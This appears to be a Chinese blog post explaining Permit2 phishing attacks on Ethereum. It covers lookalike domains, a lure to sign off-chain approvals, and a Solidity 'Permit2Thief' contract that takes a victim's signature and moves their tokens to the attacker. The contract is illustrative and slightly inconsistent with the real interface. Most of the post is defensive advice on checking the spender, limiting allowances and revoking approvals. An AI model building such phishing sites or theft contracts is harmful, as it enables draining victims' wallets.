Xinmin's Blog
AdminRSS
全部AIDeFiSolidity以太坊公链实战区块链行业观察
Admin
RSS

【以太坊】聊聊智能合约的Permit2钓鱼攻击

以太坊·2025年3月14日·1 次阅读·约 11 分钟
© 2026·

说在前面

玩过币的人都知道,ERC20是以太坊上一个常见的代币标准(支持钱包交易交互),里面有个类似开支票的功能——approve授权和transferFrom转账兑现。

如同现实生活中你给人开了一张支票,写上金额,对方拿着支票去银行就能把钱取走。你账户里的钱少了,他的账户里钱多了。

在智能合约里,approve就是你授权某个地址(可以是钱包,也可以是合约),允许它从你账户里花一定数量的代币;transferFrom则是对方拿着这个授权,把代币转走。

这个机制虽然方便,但也有风险。比如,你授权的对象可能是“披着羊皮的狼”,或者你不小心授权了太多代币,甚至授权没设期限。结果呢?坏人拿到了你的“空白支票”,直接把你账户清空。

今天我们要聊的,就是一种利用Permit2机制的钓鱼攻击——黑客通过骗取你的授权,让你的代币瞬间消失。

Permit2是个啥?

先打个生活中的比方:

想象一下你在超市买东西,收银员让你签个单子,说:“以后凭这个单子就能直接扣你银行卡的钱,不用每次刷卡了。”听起来很方便,对吧?但如果这个单子被坏人捡到,你的钱还能保住吗?Permit2就有点像这个“神奇单子”。

Permit2是Uniswap团队推出的一种升级版ERC20授权机制。传统的approve有个痛点:每次在DApp里交易前,你得先上链授权某个合约花你的代币,每次都要付Gas费,既麻烦又费钱。Permit2通过EIP-712签名解决了这个问题,让你离线签个名,一次性授权某个地址使用你的代币,之后就不用再操心Gas了。

Permit2的亮点

  • 离线签名:不用上链,Gas费省到飞起。
  • 灵活性高:签名随时能用,方便得很。
  • 用户友好:操作简单,体验更好。

和传统approve比强在哪?

  • 传统approve:每次交易前都要上链授权,Gas费像水一样流。
  • Permit2:离线签个EIP-712签名,授权信息随时提交到链上执行,省时又省钱。

EIP-712签名是啥?

简单来说,这是一种标准化的签名格式,能让人和机器都看懂你授权了什么。比如,你签个消息说:“我允许Alice的地址在今天内花我账户上100个USDT。”这个签名是离线生成的,安全性靠你的私钥保护。但问题也在这:授权对象得靠谱,不然签了名,代币可能就没了。

攻击现场

你以为自己签了个快递单,结果是张空白支票,骗子拿去随便填金额,把钱划走了。Permit2钓鱼攻击的套路差不多,黑客就是这么“偷”走你的代币的。

攻击三步走

  1. 1. 制作一个钓鱼网站黑客做一个假网站,伪装成Uniswap、Aave这种大平台,外观一模一样,连域名都特像,比如unisswap.org。你一看,心想:这不挺正规的吗?
  2. 2. 诱导你签名网站跳出个诱导弹窗,声称:“连接钱包,签个名就能领空投!”或者“授权一下就能交易”。你在不知情的情况下签了名,结果授权对象是黑客的合约地址。
  3. 3. 代币瞬间没了黑客拿到你的签名,直接调用permitTransferFrom,把你钱包里的代币转走。你啥也没干,连Gas费都不用出,你的钱包就空了。

为啥这么“阴”?

  • 离线签名没提示:没有Gas费的“警报”,你可能签了都没感觉。
  • 用户大意:很多人没看清授权给了谁,随手就签了。

还原攻击

想知道技术细节?我们直接上代码,看看黑客的攻击合约长啥样:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@uniswap/permit2/src/interfaces/ISignatureTransfer.sol";

contract Permit2Thief {
    ISignatureTransfer public permit2; // Uniswap的Permit2合约地址
    IERC20 public token;     // 目标代币地址

    constructor(address _permit2, address _token) {
        permit2 = IPermit2(_permit2);
        token = IERC20(_token);
    }

    function snatchTokens(
        address victim,         // 受害者地址
        uint256 amount,         // 要偷的代币数量
        address attacker,       // 攻击者地址
        bytes memory signature, // 用户签名
        uint256 victimNonce     // 受害者的nonce
    ) external {
        permit2.permitTransferFrom(
            PermitTransferFrom({
                token: address(token),
                amount: amount,
                spender: attacker,      // 授权给攻击者
                nonce: victimNonce,     // 使用受害者的nonce
                deadline: block.timestamp + 1 hours // 1小时有效
            }),
            signature
        );
        token.transfer(attacker, amount); // 转给攻击者
    }
}

攻击流程

  1. 1. 诱导签名钓鱼网站让你签个Permit2授权,授权对象是黑客的合约地址。
  2. 2. 拿到签名黑客用你的签名填好金额和时间。
  3. 3. 执行转账调用permitTransferFrom,用你的授权直接把代币转走。

核心漏洞

  • 你没看清spender(授权对象)是谁。
  • Permit2签名太灵活,离线就能用,黑客逮住机会下手。

真实案例

网络安全公司 ScamSniffer (X:@realScamSniffer)披露了很多Permit2钓鱼攻击案例,可以关注了解,这里就不再一一列举。

咋防Permit2钓鱼攻击?

Permit2是把双刃剑,用得好省心省力,用不好就被“刀”。以下是几招实用防身术:

1. 签名前看清楚

签名时,钱包会弹提示,显示“授权XXX地址花你的代币”。这XXX要是陌生地址,赶紧停手!

建议:只授权给可信合约,比如Uniswap官方地址(去官网查)。

2. 用“聪明”钱包

MetaMask、Uniswap、Phantom、SubWallet这些钱包会模拟交易,签名前告诉你授权了啥。多看一眼,少掉坑。

3. 授权别太“大手大脚”

别随便授权uint256.max(无限额度),只给需要的数量,deadline(截止时间)也设短点,比如1小时后失效。

代码样例:

PermitTransferFrom({
    token: tokenAddress,
    amount: 50 ether,           // 只授权50个代币
    spender: trustedAddress,    // 可信地址
    nonce: currentNonce,
    deadline: block.timestamp + 1 hours // 1小时过期
})

4. 定期“大扫除”

用Revoke.cash这类工具,查查你钱包授权给了哪些地址,不需要的赶紧撤销。

长时间授权可能是定时炸弹,防患于未然。

5. 看清网站真假

  • 检查URL:域名是不是官网的(如uniswap.org)?小心伪域名,比如unisswap.org、unisawp.org、uniswap.com。
  • 看SSL证书:浏览器地址栏有没有绿色小锁(https)?
  • 硬件钱包更安全:用Ledger、Trezor签名,黑客想偷也难。

6. 安装“门神”

在浏览器上安装反钓鱼插件,在chrome应用商店中搜索并安装:Scam Sniffer、Revoke.cash。

总结

Permit2是Uniswap为了省Gas、提升体验推出的好东西,但好东西到了坏人手里就成了“作案利器”。黑客的套路简单粗暴:通过钓鱼网站诱导你签名,拿了签名后直接转走代币,你连反应的时间都没有。

想保住钱包,记住这几招:

✅ 签名前看清spender是谁;

✅ 授权别给太多;

✅ 用靠谱钱包;

✅ 定期清理授权。

在区块链的世界里,签名就是权力,随便签等于把钱包钥匙递给别人。留个心眼,别让黑客笑到最后!


继续阅读

基于全文检索与主题相似度

以太坊2025年3月14日

【以太坊】聊聊智能合约的0转账钓鱼攻击

0转账钓鱼攻击是个啥? 0转账钓鱼攻击(Zero Transfer Phishing Attack)是一种简单却阴险的骗术,虽然技术含量不高,但在币圈屡屡得手,甚至酿成过惊天大案(见下文)。 每次听说这种攻击得逞,连我都忍不住暗想:这黑客咋不是我呢? 先打个生活中的比方: 假设你和好友张三经常通过银

以太坊2025年3月15日

【以太坊】聊聊智能合约的时间戳依赖攻击

说在前面 生活中,我们习惯了依赖时间来安排一切。闹钟提醒我们起床,高铁准点发车,考试到点交卷,股票交易精确到毫秒撮合…… 在 Web2 世界里,软件系统同样靠精准的时间戳来自动执行任务,比如定时扣款、会员到期、订单结算,这一切都建立在可信的时间基础上。但到了 Web3 世界里,时间居然能被“调表”!

以太坊2025年3月13日

【以太坊】聊聊智能合约的闪电贷攻击

闪电贷攻击是个啥东东? 先打个生活中的比方: 想象一下你去银行借了一大笔钱,条件是得在离开柜台前还清。你坐在柜台前,拿这钱顺手跟旁边的人做了笔生意,赚了差价,再把钱还给银行,几分钟倒腾下来,口袋里就多了利润(当然这种操作是不现实的,这里只是帮助理解闪电贷——就是速借速还)。 闪电贷(Flash Lo